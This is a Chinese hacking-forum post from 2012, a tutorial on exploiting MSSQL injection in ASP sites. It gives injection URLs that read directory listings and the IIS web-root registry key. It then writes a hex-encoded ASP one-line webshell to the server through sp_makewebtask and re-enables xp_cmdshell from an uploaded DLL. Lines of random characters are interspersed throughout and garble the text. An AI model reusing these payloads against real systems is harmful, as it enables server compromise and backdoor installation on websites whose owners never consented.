中国网络渗透测试联盟
标题:
MSsqlL注入取得网站路径最好的方法
[打印本页]
作者:
admin
时间:
2012-9-13 17:20
标题:
MSsqlL注入取得网站路径最好的方法
好,我们exec master..xp_dirtree'd:/test'
+ i4 s& T. F# X: q. k3 b# M
假设我们在test里有两个文件夹test1和test2在test1里又有test3
* q2 l2 X: O5 V) a! _. c
结果显示
* U; w8 R8 E7 a5 H& ]/ `) l% s
- g0 V& z% }' ~2 \
subdirectory depth
1 ~" w |1 E; a; {2 L; L# S1 T
test1 1
. Q( e) l% z: d. P6 G
test3 2
: Q C( ?7 Y* c# ]4 X
test2 1
. c/ d3 i8 H V( X
8 @: N$ r+ |) ^- [. Y$ H! t: U. m
哈哈发现没有那个depth就是目录的级数
( h# q$ _' N% a2 k. b% f
ok了,知道怎么办了吧
7 W* u+ C2 P9 F1 E' i6 t1 x2 y3 h
$ k7 ]. f, F$ l% A+ `" A
http://www.xxxxx.com/down/list.asp?id=1;create
table dirs(paths varchar(1000),id int)--
! Z+ D0 s# L5 n5 U3 ?6 e8 ]
http://www.xxxxx.com/down/list.asp?id=1;insert
dirs exec master.dbo.xp_dirtree 'd:\' --
- j8 a6 P* |8 I3 `
http://www.xxxxx.com/down/list.asp?id=1
and 0<>(select top 1 paths from dirs where id=1)-
& j; W( B0 I+ n9 O, j
0 H% O- B: ^9 g* m! ]
只要加上id=1,就是第一级目录 。
% I, h+ }& }* p& t% f0 v4 S
4 K z2 T/ ^% f( A8 ~
& y2 Z i# r+ I) A' Q0 T* C
通过注册表读网站路径:
9 l; ]( U1 Q% f5 T
3 F5 n, C4 Q$ q# C+ K5 v
1.;create table [dbo].[cyfd] ([gyfd][char](255));
+ i w; N9 |9 Z. Q8 w5 y4 E
+ p+ u1 w6 F6 _: g
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
S, D$ Q' r/ u# h
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
' P% S" N Z# I: T* \1 r6 L4 n. S5 L
9 s+ j) i" P% r
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
. K u1 I( }& P+ |
and 1=(select count(*) from cyfd where gyfd > 1)
! o+ ?+ J/ N( x0 j* V O a' B
这样IE报错,就把刚才插进去的Web路径的值报出来了
( B2 E% W1 ~: A7 ~
8 S$ E0 [8 l2 u7 s* r {. q8 i
4.drop table cyfd;-- 删除临时表
- J( N8 ^& J* h
+ }9 K; W/ Y$ |( |/ X( w$ r- f
获得webshell方法:
" g8 f5 q1 H j, d# J4 s& l. T
1.create table cmd (a image)-- \**cmd是创建的临时表
6 Z; b# u5 I# a/ v( S
R* {& a' k$ Q: a8 l
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
$ p+ l9 `3 m' u# i4 ?
, i7 n( i! [# E4 R
5 o$ D( ^/ n7 q- t/ W$ Y$ N
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
( b! {$ u' j6 R! ~, G2 R# ]; X; Z
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
9 | ~1 ~ f5 V6 ]- t
7 n+ H( R! c# o7 D
4.drop table cmd;-- 删除cmd临时表
; o2 b) u$ m! ]- [2 x
) J6 `8 }, C* {/ W
恢复xp_cmdshell方法之一:
3 v0 e! Z( O. `( d6 t
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
( \0 m! @) C/ |% u6 K% ]
http://www.something.com/script.asp?id=2;EXEC
master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
/ f* f) _& t5 e* x: Y4 V! Q% J! b
恢复,支持绝对路径的恢复哦。:)
; W+ `, E2 f5 D6 m u9 y
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2